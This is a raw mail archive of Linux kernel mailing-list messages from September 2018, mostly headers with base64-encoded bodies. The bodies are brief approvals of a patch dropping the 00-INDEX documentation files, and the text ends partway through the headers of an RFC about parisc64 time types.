X-Mailer: Claws Mail 3.16.0 (GTK+ 2.24.32; x86_64-pc-linux-gnu)
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:235498 gmane.linux.ports.mips.general:66475 gmane.comp.emulators.kvm.devel:192138 gmane.linux.documentation:59461 gmane.linux.kernel.lsm:39788 gmane.linux.kernel.gpio:33896 gmane.linux.kbuild.devel:21169 gmane.linux.ports.parisc:28931 gmane.linux.ide:65400 gmane.linux.kernel.pci:75003 gmane.linux.power-management.general:105922 gmane.linux.kernel:2863502 gmane.linux.kernel.spi.devel:29993 gmane.linux.network:553340 gmane.linux.ports.ppc64.devel:162154 gmane.linux.drivers.devicetree:287125
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/235498>

T24gVGh1LCA2IFNlcCAyMDE4IDA5OjU4OjA0IC0wNjAwCkpvbmF0aGFuIENvcmJldCA8Y29yYmV0
QGx3bi5uZXQ+IHdyb3RlOgoKPiBUaGFua3MsCj4gCj4gam9uICAod2hvIGlzIGluY3JlYXNpbmds
eSBpbmNsaW5lZCB0byBhcHBseSB0aGlzIHBhdGNoKQoKQXMgQ29saW4gS2FlcGVybmljayBub3cg
c2F5cy4uLiAiSnVzdCBkbyBpdCEiCgo7LSkKCi0tIFN0ZXZlCl9fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fCmRyaS1kZXZlbCBtYWlsaW5nIGxpc3QKZHJpLWRl
dmVsQGxpc3RzLmZyZWVkZXNrdG9wLm9yZwpodHRwczovL2xpc3RzLmZyZWVkZXNrdG9wLm9yZy9t
YWlsbWFuL2xpc3RpbmZvL2RyaS1kZXZlbAo=


From - Thu Nov 08 21:41:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Daniel Vetter <daniel@ffwll.ch>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.mips.general,gmane.comp.emulators.kvm.devel,gmane.linux.documentation,gmane.linux.drivers.devicetree,gmane.linux.kernel.gpio,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel.pci,gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.linux.kernel.lsm,gmane.linux.network,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] [RFC v2] Drop all 00-INDEX files from Documentation/
Date: Thu, 6 Sep 2018 23:39:42 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <CAKMK7uHoeB89-VVS8qVaoNiP_0waHHJ=dFCUgXkRDTnRkXz69g@mail.gmail.com>
References: <1536012923-16275-1-git-send-email-henrik@austad.us>
 <20180904113030.GB25177@amd> <20180904095908.13298b3d@gandalf.local.home>
 <20180906095804.5ab2716f@lwn.net> <20180906120120.3dd1fc91@gandalf.local.home>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1536269867 16909 195.159.176.226 (6 Sep 2018 21:37:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 6 Sep 2018 21:37:47 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>,
 Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 Linux Fbdev development list <linux-fbdev@vger.kernel.org>,
 Jan Kandziora <jjj@gmx.de>,
 =?UTF-8?B?UmFkaW0gS3LEjW3DocWZ?= <rkrcmar@redhat.com>, kvm@vger.kernel.org,
 Linux Doc Mailing List <linux-doc@vger.kernel.org>,
 Peter Zijlstra <peterz@infradead.org>, James Hogan <jhogan@kernel.org>,
 Mark Brown <broonie@kernel.org>, Henrik Austad <henrik@austad.us>,
 Will Deacon <will.deacon@arm.com>, dri-devel <dri-devel@lists.freedesktop.org>,
 Masahiro Yamada <yamada.masahiro@socionext.com>, devicetree@vger.kernel.org,
 Paul Mackerras <paulus@samba.org>, Henrik Austad <haustad@cisco.com>,
 Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
 Evgeniy Polyakov <zbr@ioremap.net>, Ian Kent <raven@themaw.net>,
 linux-s390@vger.kernel.org, Paul Moore <paul@paul-moore.com>,
 Jonathan Corbet <cor
To: Steven Rostedt <rostedt@goodmis.org>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Thu Sep 06 23:37:37 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1fy1y4-0004BB-N2
	for sf-dri-devel@m.gmane.org; Thu, 06 Sep 2018 23:37:37 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 924F589CBA;
	Thu,  6 Sep 2018 21:39:45 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from mail-it0-x241.google.com (mail-it0-x241.google.com
 [IPv6:2607:f8b0:4001:c0b::241])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 47CA889CBA
 for <dri-devel@lists.freedesktop.org>; Thu,  6 Sep 2018 21:39:44 +0000 (UTC)
Original-Received: by mail-it0-x241.google.com with SMTP id h23-v6so17216025ita.5
 for <dri-devel@lists.freedesktop.org>; Thu, 06 Sep 2018 14:39:44 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc;
 bh=KjKh80UufIY2dCSimg20mtMQG5JxcdRjILM735qSlgw=;
 b=HDE+mS9Ekg5WNP7mM4TprIzgCkzb6aHJO3iI0sogaRlpGICdTORgzitIesBuaZOw1g
 ATCyr6rM5Op5mTzH6dM14P/OKPq8X+Hf1rbCBMLzMIp+g3pK9Uo59zD+MIcSz/jZioaj
 zuiGsVmvrk0WfsNImjaPvxbFkbsCsNpi9plhDjG8M3vpENKPy83FzZI8xE6sLdshlTVf
 ermrZSSkEGfqejRmYRPdJaKbPKZiqyRv4gF4u2RH7EW5hqv0uzJGpWXOEXPx991d3yfW
 YqJIsomJLKHDQPpIJjINCxO/HSuJeUn9ahujbM64FCcBYxE0Khohkb9l1M3i4cQXpLyu
 S2ew==
X-Gm-Message-State: APzg51BYxbjuIQIJgu67VHSOUWRVsfHhtP/dLSCQoQl5JwTWgkiwobVX
 G1vdp5VghNOT4cM/RQUaM2VYounaEK838k302ZQyiA==
X-Google-Smtp-Source: ANB0VdaZYS6CGCUSkits1K36FzJ8O2eKhaBbPBRcK3xgoKPqUi4IlqCBaQM3QhkFFKX9EQvpTGJrhlPpAFWl3aj1uRA=
X-Received: by 2002:a24:3507:: with SMTP id k7-v6mr4355830ita.13.1536269983556; 
 Thu, 06 Sep 2018 14:39:43 -0700 (PDT)
Original-Received: by 2002:a4f:bf05:0:0:0:0:0 with HTTP;
 Thu, 6 Sep 2018 14:39:42 -0700 (PDT)
X-Originating-IP: [2a02:168:569e:0:3106:d637:d723:e855]
In-Reply-To: <20180906120120.3dd1fc91@gandalf.local.home>
X-Google-Sender-Auth: HnWLIkneOlckhuh6DKOnc742aWI
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:235532 gmane.linux.ports.mips.general:66483 gmane.comp.emulators.kvm.devel:192165 gmane.linux.documentation:59488 gmane.linux.drivers.devicetree:287167 gmane.linux.kernel.gpio:33899 gmane.linux.kbuild.devel:21172 gmane.linux.ports.parisc:28932 gmane.linux.ide:65404 gmane.linux.kernel.pci:75007 gmane.linux.power-management.general:105924 gmane.linux.kernel:2863749 gmane.linux.kernel.spi.devel:29994 gmane.linux.kernel.lsm:39794 gmane.linux.network:553382 gmane.linux.ports.ppc64.devel:162157
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/235532>

T24gVGh1LCBTZXAgNiwgMjAxOCBhdCA2OjAxIFBNLCBTdGV2ZW4gUm9zdGVkdCA8cm9zdGVkdEBn
b29kbWlzLm9yZz4gd3JvdGU6Cj4gT24gVGh1LCA2IFNlcCAyMDE4IDA5OjU4OjA0IC0wNjAwCj4g
Sm9uYXRoYW4gQ29yYmV0IDxjb3JiZXRAbHduLm5ldD4gd3JvdGU6Cj4KPj4gVGhhbmtzLAo+Pgo+
PiBqb24gICh3aG8gaXMgaW5jcmVhc2luZ2x5IGluY2xpbmVkIHRvIGFwcGx5IHRoaXMgcGF0Y2gp
Cj4KPiBBcyBDb2xpbiBLYWVwZXJuaWNrIG5vdyBzYXlzLi4uICJKdXN0IGRvIGl0ISIKPgo+IDst
KQoKKzEKCkJ1dCBJJ20gYmlhc2VkLCBJJ20gcGFydCBvZiB0aGUgcGFydHkgdGhhdCBpcyByZXNw
b25zaWJsZSBmb3IgdGhlIG5ldwpzaGlueSBkb2N1bWVudGF0aW9uIHN5c3RlbSAuLi4KLURhbmll
bAotLSAKRGFuaWVsIFZldHRlcgpTb2Z0d2FyZSBFbmdpbmVlciwgSW50ZWwgQ29ycG9yYXRpb24K
KzQxICgwKSA3OSAzNjUgNTcgNDggLSBodHRwOi8vYmxvZy5mZndsbC5jaApfX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpkcmktZGV2ZWwgbWFpbGluZyBsaXN0
CmRyaS1kZXZlbEBsaXN0cy5mcmVlZGVza3RvcC5vcmcKaHR0cHM6Ly9saXN0cy5mcmVlZGVza3Rv
cC5vcmcvbWFpbG1hbi9saXN0aW5mby9kcmktZGV2ZWwK


From - Thu Nov 08 21:41:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.mips.general,gmane.comp.emulators.kvm.devel,gmane.linux.documentation,gmane.linux.drivers.devicetree,gmane.linux.kernel.gpio,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel.pci,gmane.linux.network,gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.linux.kernel.lsm,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] [RFC v2] Drop all 00-INDEX files from Documentation/
Date: Fri, 7 Sep 2018 09:21:43 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20180907072143.GC1334@kroah.com>
References: <1536012923-16275-1-git-send-email-henrik@austad.us>
 <20180904113030.GB25177@amd>
 <20180904095908.13298b3d@gandalf.local.home>
 <20180906095804.5ab2716f@lwn.net>
 <20180906120120.3dd1fc91@gandalf.local.home>
 <CAKMK7uHoeB89-VVS8qVaoNiP_0waHHJ=dFCUgXkRDTnRkXz69g@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1536304791 1856 195.159.176.226 (7 Sep 2018 07:19:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 7 Sep 2018 07:19:51 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Mark Rutland <mark.rutland@arm.com>,
 Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 Linux Fbdev development list <linux-fbdev@vger.kernel.org>,
 Jan Kandziora <jjj@gmx.de>,
 Radim =?utf-8?B?S3LEjW3DocWZ?= <rkrcmar@redhat.com>, kvm@vger.kernel.org,
 Linux Doc Mailing List <linux-doc@vger.kernel.org>,
 Peter Zijlstra <peterz@infradead.org>, James Hogan <jhogan@kernel.org>,
 Mark Brown <broonie@kernel.org>, Henrik Austad <henrik@austad.us>,
 Will Deacon <will.deacon@arm.com>, dri-devel <dri-devel@lists.freedesktop.org>,
 Masahiro Yamada <yamada.masahiro@socionext.com>, devicetree@vger.kernel.org,
 Paul Mackerras <paulus@samba.org>, Henrik Austad <haustad@cisco.com>,
 Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
 Evgeniy Polyakov <zbr@ioremap.net>, Ian Kent <raven@themaw.net>,
 linux-s390@vger.kernel.org, Paul Moore <paul@paul-moore.com>,
 Jonathan Corbet <corbe
To: Daniel Vetter <daniel@ffwll.ch>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Fri Sep 07 09:19:41 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1fyB3K-0000Ez-Uz
	for sf-dri-devel@m.gmane.org; Fri, 07 Sep 2018 09:19:39 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 50D1E6E82A;
	Fri,  7 Sep 2018 07:21:48 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from mail.linuxfoundation.org (mail.linuxfoundation.org
 [140.211.169.12])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 60AF16E82A
 for <dri-devel@lists.freedesktop.org>; Fri,  7 Sep 2018 07:21:47 +0000 (UTC)
Original-Received: from localhost (ip-213-127-74-90.ip.prioritytelecom.net
 [213.127.74.90])
 by mail.linuxfoundation.org (Postfix) with ESMTPSA id 77957D60;
 Fri,  7 Sep 2018 07:21:45 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <CAKMK7uHoeB89-VVS8qVaoNiP_0waHHJ=dFCUgXkRDTnRkXz69g@mail.gmail.com>
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:235570 gmane.linux.ports.mips.general:66514 gmane.comp.emulators.kvm.devel:192185 gmane.linux.documentation:59516 gmane.linux.drivers.devicetree:287209 gmane.linux.kernel.gpio:33900 gmane.linux.kbuild.devel:21175 gmane.linux.ports.parisc:28933 gmane.linux.ide:65405 gmane.linux.kernel.pci:75012 gmane.linux.network:553442 gmane.linux.power-management.general:105930 gmane.linux.kernel:2864235 gmane.linux.kernel.spi.devel:29996 gmane.linux.kernel.lsm:39796 gmane.linux.ports.ppc64.devel:162160
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/235570>

T24gVGh1LCBTZXAgMDYsIDIwMTggYXQgMTE6Mzk6NDJQTSArMDIwMCwgRGFuaWVsIFZldHRlciB3
cm90ZToKPiBPbiBUaHUsIFNlcCA2LCAyMDE4IGF0IDY6MDEgUE0sIFN0ZXZlbiBSb3N0ZWR0IDxy
b3N0ZWR0QGdvb2RtaXMub3JnPiB3cm90ZToKPiA+IE9uIFRodSwgNiBTZXAgMjAxOCAwOTo1ODow
NCAtMDYwMAo+ID4gSm9uYXRoYW4gQ29yYmV0IDxjb3JiZXRAbHduLm5ldD4gd3JvdGU6Cj4gPgo+
ID4+IFRoYW5rcywKPiA+Pgo+ID4+IGpvbiAgKHdobyBpcyBpbmNyZWFzaW5nbHkgaW5jbGluZWQg
dG8gYXBwbHkgdGhpcyBwYXRjaCkKPiA+Cj4gPiBBcyBDb2xpbiBLYWVwZXJuaWNrIG5vdyBzYXlz
Li4uICJKdXN0IGRvIGl0ISIKPiA+Cj4gPiA7LSkKPiAKPiArMQo+IAo+IEJ1dCBJJ20gYmlhc2Vk
LCBJJ20gcGFydCBvZiB0aGUgcGFydHkgdGhhdCBpcyByZXNwb25zaWJsZSBmb3IgdGhlIG5ldwo+
IHNoaW55IGRvY3VtZW50YXRpb24gc3lzdGVtIC4uLgoKSSBhbSBub3QgcmVzcG9uc2libGUgZm9y
IGFueSBvZiB0aGUgbmV3IHNoaW55IGRvY3VtZW50YXRpb24gc3lzdGVtLCBhbmQKSSB0aGluayB0
aGlzIGlzIGEgZ29vZCBpZGVhOgoKQWNrZWQtYnk6IEdyZWcgS3JvYWgtSGFydG1hbiA8Z3JlZ2to
QGxpbnV4Zm91bmRhdGlvbi5vcmc+CgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fXwpkcmktZGV2ZWwgbWFpbGluZyBsaXN0CmRyaS1kZXZlbEBsaXN0cy5mcmVl
ZGVza3RvcC5vcmcKaHR0cHM6Ly9saXN0cy5mcmVlZGVza3RvcC5vcmcvbWFpbG1hbi9saXN0aW5m
by9kcmktZGV2ZWwK


From - Thu Nov 08 21:41:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jonathan Corbet <corbet@lwn.net>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.mips.general,gmane.comp.emulators.kvm.devel,gmane.linux.documentation,gmane.linux.kernel.lsm,gmane.linux.kernel.gpio,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel.pci,gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.linux.network,gmane.linux.ports.ppc64.devel,gmane.linux.drivers.devicetree
Subject: Re: [PATCH] [RFC v2] Drop all 00-INDEX files from Documentation/
Date: Sun, 9 Sep 2018 15:12:37 -0600
Organization: LWN.net
Lines: 13
Approved: news@gmane.org
Message-ID: <20180909151237.4bc1b3e2@lwn.net>
References: <1536012923-16275-1-git-send-email-henrik@austad.us>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1536527449 18477 195.159.176.226 (9 Sep 2018 21:10:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 9 Sep 2018 21:10:49 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 linux-fbdev@vger.kernel.org, x86@kernel.org, kvm@vger.kernel.org,
 linux-doc@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 James Hogan <jhogan@kernel.org>, Will Deacon <will.deacon@arm.com>,
 dri-devel@lists.freedesktop.org,
 Masahiro Yamada <yamada.masahiro@socionext.com>, Jan Kandziora <jjj@gmx.de>,
 Paul Mackerras <paulus@samba.org>, Henrik Austad <haustad@cisco.com>,
 Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
 Evgeniy Polyakov <zbr@ioremap.net>, linux-s390@vger.kernel.org,
 Ian Kent <raven@themaw.net>, linux-security-module@vger.kernel.org,
 Paul Moore <paul@paul-moore.com>, Michael Ellerman <mpe@ellerman.id.au>,
 Helge Deller <deller@gmx.de>,
 Radim =?UTF-8?B?S3LEjW3DocWZ?= <rkrcmar@redhat.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 "Paul E
To: Henrik Austad <henrik@austad.us>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Sun Sep 09 23:10:40 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1fz6yd-0004dQ-33
	for sf-dri-devel@m.gmane.org; Sun, 09 Sep 2018 23:10:39 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 6D79B6E0AC;
	Sun,  9 Sep 2018 21:12:47 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from ms.lwn.net (ms.lwn.net [45.79.88.28])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 263186E0AC
 for <dri-devel@lists.freedesktop.org>; Sun,  9 Sep 2018 21:12:46 +0000 (UTC)
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ms.lwn.net (Postfix) with ESMTPSA id 36B956D9;
 Sun,  9 Sep 2018 21:12:39 +0000 (UTC)
In-Reply-To: <1536012923-16275-1-git-send-email-henrik@austad.us>
X-Mailer: Claws Mail 3.16.0 (GTK+ 2.24.32; x86_64-redhat-linux-gnu)
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:235751 gmane.linux.ports.mips.general:66540 gmane.comp.emulators.kvm.devel:192229 gmane.linux.documentation:59566 gmane.linux.kernel.lsm:39821 gmane.linux.kernel.gpio:33929 gmane.linux.kbuild.devel:21187 gmane.linux.ports.parisc:28934 gmane.linux.ide:65420 gmane.linux.kernel.pci:75029 gmane.linux.power-management.general:105966 gmane.linux.kernel:2865858 gmane.linux.kernel.spi.devel:30002 gmane.linux.network:553703 gmane.linux.ports.ppc64.devel:162214 gmane.linux.drivers.devicetree:287373
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/235751>

T24gVHVlLCAgNCBTZXAgMjAxOCAwMDoxNToyMyArMDIwMApIZW5yaWsgQXVzdGFkIDxoZW5yaWtA
YXVzdGFkLnVzPiB3cm90ZToKCj4gSSBkb24ndCByZWFsbHkgaGF2ZSBhbiBvcGluaW9uIHRvIHdo
ZXRoZXIgb3Igbm90IHdlIC9zaG91bGQvIGhhdmUgMDAtSU5ERVgsCj4gYnV0IHRoZSBhYm92ZSAw
MC1JTkRFWCBzaG91bGQgZWl0aGVyIGJlIHJlbW92ZWQgb3IgYmUga2VwdCB1cCB0byBkYXRlLiBJ
Zgo+IHdlIHNob3VsZCBrZWVwIHRoZSBmaWxlcywgSSBjYW4gdHJ5IHRvIGtlZXAgdGhlbSB1cGRh
dGVkLCBidXQgSSByYXRoZXIgbm90Cj4gaWYgd2UganVzdCB3YW50IHRvIGRlbGV0ZSB0aGVtIGFu
eXdheS4KPiAKPiBBcyBhIHN0YXJ0aW5nIHBvaW50LCByZW1vdmUgYWxsIGluZGV4LWZpbGVzIGFu
ZCByZWZlcmVuY2VzIHRvIDAwLUlOREVYIGFuZAo+IHNlZSB3aGVyZSB0aGUgZGlzY3Vzc2lvbiBp
cyBnb2luZy4KCkFwcGxpZWQsIHRoYW5rcy4KCmpvbgpfX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fXwpkcmktZGV2ZWwgbWFpbGluZyBsaXN0CmRyaS1kZXZlbEBs
aXN0cy5mcmVlZGVza3RvcC5vcmcKaHR0cHM6Ly9saXN0cy5mcmVlZGVza3RvcC5vcmcvbWFpbG1h
bi9saXN0aW5mby9kcmktZGV2ZWwK


From - Thu Nov 08 21:41:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.ports.parisc
Subject: [RFC] parisc64: change __kernel_suseconds_t to match glibc
Date: Thu, 13 Sep 2018 17:59:50 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <20180913160010.905798-1-arnd@arndb.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1536854302 27958 195.159.176.226 (13 Sep 2018 15:58:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 13 Sep 2018 15:58:22 +0000 (UTC)
Cc: y2038@lists.linaro.org, Arnd Bergmann <arnd@arndb.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 13 17:58:17 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g0U0X-00079s-1O
	for glk-linux-kernel-4@m.gmane.org; Thu, 13 Sep 2018 17:58:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728563AbeIMVKc (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 13 Sep 2018 17:10:32 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.24]:55123 "EHLO
        mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726763AbeIMVKc (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 13 Sep 2018 17:10:32 -0400
Original-Received: from wuerfel.lan ([109.193.40.16]) by mrelayeu.kundenserver.de
 (mreue106 [212.227.15.145]) with ESMTPA (Nemesis) id
 1McYTD-1fQJkC26tp-00cuhz; Thu, 13 Sep 2018 18:00:17 +0200
X-Mailer: git-send-email 2.18.0
X-Provags-ID: V03:K1:vWNPlqFzuf2u7GS8XexfshPCl2Aw1/8WG3vOemmAVO5grvJWPAZ
 rOasN7CWlRjHw21rU07Re9RJqxwYGkU5HZAC/ajupO1tJK95/rFfo5iyPMZl/LYnbpaZf5M
 1G751IEtGrIfmkQHjEHdJPo/OCNQrN2kw4ItlKhWZaINABoF4ktZULUCfa3gL22cL4L9O+X
 C9fNgfij8riugHvhIQjsQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:0VxYlGW9D90=:AUh88BfkOuy2D7g3vEqtR0
 /ztA/EdH980MSJ4AP93ojRQ8d3cEXVWkw5vWp1QtJosjA26pocehqBookFLjqL2rN6RBRhsDC
 7/ZaJIKQrNwclOzFvt5Af3eGSv2Uhi6JRqiV11vI6DSx8a93ohPpyuHIyrAuImKnErE6gQRss
 GLYCEpoLblGIgmVL5CPQArhfcs/NyNRRT28HXvi7zTr9H6opxmTDUtwqlnaEVMGUG8rtz0hPY
